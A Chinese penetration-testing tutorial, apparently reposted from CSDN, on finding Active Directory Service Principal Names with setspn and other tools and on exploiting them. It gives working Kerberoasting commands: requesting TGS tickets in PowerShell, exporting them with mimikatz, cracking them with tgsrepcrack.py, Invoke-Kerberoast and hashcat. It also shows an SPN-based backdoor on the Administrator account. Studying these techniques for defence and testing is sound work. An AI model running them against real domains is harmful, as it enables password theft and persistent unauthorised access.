ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

SPN发现与利用

2021-04-15 20:06:17  阅读:205  来源: 互联网

标签:发现 服务 TGS 利用 setspn SPN 服务器 Microsoft


目录

0x01 简介

服务主体名称(SPN)是Kerberos客户端用于唯一标识给特定Kerberos目标计算机的服务实例名称。Kerberos身份验证使用SPN将服务实例与服务登录帐户相关联。如果在整个林中的计算机上安装多个服务实例,则每个实例都必须具有自己的SPN。如果客户端可能使用多个名称进行身份验证,则给定的服务实例可以具有多个SPN

0x02类型

SPN 可以分为两种:

  • 当一个服务的权限为Local System或Network Service,则SPN注册在域内机器帐户(Computers)下

  • 当一个服务的权限为一个域用户,则SPN注册在域内用户帐户(Users)下

特点

通过SPN,可快速定位开启了关键服务的机器,这样就不需要去扫对应服务的端口,有效规避端口扫描动作,且隐蔽性更高

原理

在 SPN 扫描时我们可以直接通过脚本,或者命令去获悉内网已经注册的 SPN 内容

LDAP协议全称是 Lightweight Directory Access Protocol,一般翻译都是翻译成 轻量目录访问协议。通俗点可以把 LDAP 协议理解为一个关系型数据库,其中存储了域内主机的各种配置信息。

在域控中默认安装有 ADSI 编辑器,它是 LDAP 的编辑器

可以通过在域控中运行adsiedit.msc来打开

我们的 SPN 查询,实际上就是就是查询LDAP中存储的内容

SPN格式

在这里插入图片描述
服务类和FQDN(对应机器名)是必需参数,端口和服务名是可选的

setSPN

setspn是系统自带的查找和设置spn的命令

setspn -l 
参数接受计算机名或者用户名
setspn –q */*
查询当前域下的所有SPN
setspn –T KAIXIN –q */*
指定域

在这里插入图片描述

为域机器或者域用户创建SPN

语法 
setspn -S <service>/<computername>.<domainname> <domain-user-account>
setspn -S 服务名/机器名.域名 域用户

-S 参数:验证不存在重复项后,添加随意 SPN。

注意: -S 从 Windows Server 2008 开始系统默认提供。

借助 SetSPN 对域内相关服务进行查询

例如:查询域内 MSSQL 数据库服务器

setspn -T KAIXIN.COM -Q */* | findstr "MSSQLSvc"

扫描工具:

1.GetUserSPNs.ps1:

GetUserSPNs 是Kerberoast:https://github.com/nidem/kerberoast
工具集中的一个 powershell 脚本,用来查询域内注册的 SPN。

2.GetUserSPNs.vbs:

cscript .\GetUserSPNs.vbs

Kerberoasting攻击

Kerberoasting 是域渗透中经常使用的一项技术,是通过**爆破 TGS-REP **实现,在TGS_REP的过程中用户将会收到由目标服务实例的NTLM hash加密生成的TGS(service ticket),加密算法为RC4-HMAC,如果获得这个TGS,我们可以尝试穷举口令,模拟加密过程,进行破解

利用方法:

由于域内的任何用户都可以向域内的任何服务请求TGS,知道相关服务的SPN后,可以用SPN申请一张票据 ST(TGS Ticket),如果Kerberos 协议设置票据为 RC4加密,则可通过爆破的方式得到服务对应用户的密码。

第一种利用方法:

首先,在powershell上申请票据:

请求单个TGS:

Add-Type -AssemblyName System.IdentityModel

New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList “https/testDemo.pentest.God”

请求所有TGS:

Add-Type -AssemblyName System.IdentityModel

setspn.exe -q / | Select-String ‘^CN’ -Context 0,1 | % { New-Object System. IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }

Kerberos 协议中请求的票据会保存在内存中,可以通过 klist 命令查看当前会话存储的 kerberos 票据

接着可使用mimikatz导出票据

工具解密:https://github.com/nidem/kerberoast/blob/master/tgsrepcrack.py,wordlist.txt是字典,test.kirbi为导出的票据

tgsrepcrack.py wordlist.txt test.kirbi

缺点:考虑mimikatz免杀

第二种利用方法:

Invoke-Kerberoast.ps1导出转换成 John the Ripper 或者 HashCat 能够直接爆破的字符串,

-AdminCount表示选择高权限的用户,powershell下执行以下内容

Import-Module .\Invoke-Kerberoast.ps1

Invoke-Kerberoast -AdminCount -OutputFormat Hashcat | Select hash | ConvertTo-CSV -NoTypeInformation

然后再通过hashcat进行密码破解hashcat64.exe -m 13100 hash.txt pass.txt

Kerberoasting的后门利用:

在我们取得了 SPN 的修改权限(其实也就是拿到域管的权限)后,可以为指定的域用户添加一个 SPN,这样可以随时获得该域用户的 TGS ,经过破解后获得明文口令,可以作为一个后门使用。

例如为域用户Administrator添加SPN fps/top.pentest.top Administrator,参数如下:

setspn.exe -U -A fps/top.pentest.top Administrator

删除SPN的参数如下:

setspn.exe -D fps/top.pentest.top Administrator

总结SPN利用流程:

1、查询SPN,找到有价值的SPN,需要满足的条件:该SPN注册在域用户帐户(Users)下 并且 域用户账户的权限很高 2、请求TGS 3、导出TGS 4、暴力破解

常见的几种SPN实例名称还有

AcronisAgent:针对Acronis备份和数据恢复软件
AdtServer:带有ACS的Microsoft System Center Operations Manager(2007/2012)管理服务器
afpserver:Apple归档协议
AgpmServer:Microsoft高级组策略管理(AGPM)
aradminsvc - 任务主角色服务器
arssvc - 任务主角色服务器
bocms:商业化CMS
BOSSO:商业对象
CESREMOTE:与VMWare上的Citrix VDI解决方案有关,许多VDI工作站都有这个SPN。
cifs:通用Internet文件系统
CmRcService:Microsoft系统中心配置管理器(SCCM)远程控制
CUSESSIONKEYSVR:CiscoUnity VOIP系统
cvs:CVS库
Dfsr *:分布式文件系统
DNS:域名服务器
E3514235-4B06-11D1-AB04-00C04FC2DCD2:NTDS DC RPC复制
E3514235-4B06-11D1-AB04-00C04FC2DCD2-ADAM:ADAM实例
EDVR:ExacqVision服务
exchangeAB:Exchange通讯簿服务(通常是支持NSPI的域控制器,也通常是所有的GC)
exchangeMDB:RPC客户端访问服务器角色
exchangeRFR:交换通讯簿服务
fcsvr:Apple FinalCut Server
FileRepService:WSFileRepService.exe
FIMService:MicrosoftForefront标识管理器(FIM)
ftp:文件传输协议
GC:域控制器全局编录服务
HDFS:Hadoop(Ambari)
host:主机服务代表主机。HOSTSPN用于在创建服务票据时访问由Kerberos协议使用长期密钥的主机帐户。
http:支持Kerberos身份验证的http网络服务的SPN
Hyper-V副本服务:MicrosoftHyper-V的副本服务
IMAP:Internet消息访问协议
IMAP4:Internet消息访问协议版本4
ipp:Internet打印协议
iSCSITarget:iSCSI 配置
kadmin:Kerberos
ldap:LDAP服务,如域控制器或ADAM实例。
Magfs:MaginaticsMagFS
mapred:Cloudera
Microsoft虚拟控制台服务:HyperV主机
Microsoft虚拟系统迁移服务:P2V支持(Hyper-V)
mongod:MongoDBEnterprise
mongos:MongoDBEnterprise
MSClusterVirtualServer:Windows群集服务器
MSOLAPSvc:SQLServer分析服务
MSOLAPSvc.3:SQLServer分析服务
MSOLAPDisco.3:SQLServer分析服务
MSOMHSvc:Microsoft系统中心运营经理(2007/2012)管理服务器
MSOMSdkSvc:MicrosoftSystem Center Operations Manager(2007/2012)管理服务器
MSServerCluster:Windows群集服务器
MSServerClusterMgmtAPI:此群集API需要此SPN才能通过使用Kerberos向服务器进行身份验证
MSSQL:Microsoft SQLServer
MSSQLSvc:MicrosoftSQL Server
MSSQL $ ADOBECONNECT:支持Adobe Connect的Microsoft SQL Server
MSSQL $ BIZTALK:MicrosoftSQL Server支持Microsoft Biztalk服务器
MSSQL $ BUSINESSOBJECTS:支持Business Objects的Microsoft SQL Server
MSSQL $ DB01NETIQ:支持NetIQ的Microsoft SQL Server
nfs:网络文件系统
NPPolicyEvaluator:戴尔Quest审计员
NPRepository 4(CHANGEAUDITOR):戴尔Quest Change Auditor
NPRepository4(CAAD):戴尔Quest审核员
NPRepository4(默认):戴尔任务审计员
NtFrs *:NT文件复制服务
oracle:OracleKerberos身份验证
pcast:苹果播客制作人
PCNSCLNT:自动密码同步解决方案(MIIS 2003&FIM)
POP:邮箱协议
POP3:邮箱协议版本3
PVSSoap:Citrix ProvisioningServices(7.1)
RestrictedKrbHost:使用服务类字符串等于“RestrictedKrbHost”的 SPN的服务类,其服务凭单使用计算机帐户密钥并共享会话密钥。
RPC:远程过程调用服务
SAP:SAP /SAPService
SAS:SAS服务器
SCVMM:System Center虚拟机管理器
secshd:IBMInfoSphere
sip:会话启动协议
SMTP:简单邮件传输协议
SMTPSVC:简单邮件传输协议
SoftGrid: Microsoft应用程序虚拟化(App-V)以前的“SoftGrid”
STS:VMWare SSO服务
SQLAgent $ DB01NETIQ:NetIQ的SQL服务
tapinego:与路由应用程序相关联,例如Microsoft防火墙(ISA,TMG等)
TERMSRV:Microsoft远程桌面协议服务,又名终端服务。
tnetd:JuniperKerberos身份验证 “Tnetd是一个守护进程,用于路由引擎和数据包转发引擎等不同组件之间的内部通信”
vmrc:Microsoft VirtualServer 2005
vnc:VNC服务器
VPN:虚拟专用网络
VProRecovery Backup Exec系统恢复代理7.0
VProRecovery Backup Exec系统恢复代理8.0
VProRecovery Backup Exec系统恢复代理9.0
VProRecovery诺顿克隆代理12.0
VProRecovery诺顿
克隆代理14.0 VProRecovery诺顿克隆代理15.0
VProRecovery Symantec系统恢复代理10.0
VProRecovery Symantec系统恢复代理11.0
VProRecovery Symantec系统恢复代理14.0
vssrvc:微软虚拟服务器(2005)
WSMAN:Windows远程管理(基于WS-Management标准)服务
xmpp / XMPP:可扩展消息和呈现协议(Jabber)
xgrid:苹果的分布式(网格)计算/ Mac OS X 10.6服务器管理
YARN:ClouderaMapReduce

标签:发现,服务,TGS,利用,setspn,SPN,服务器,Microsoft
来源: https://blog.csdn.net/wo41ge/article/details/115715310

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有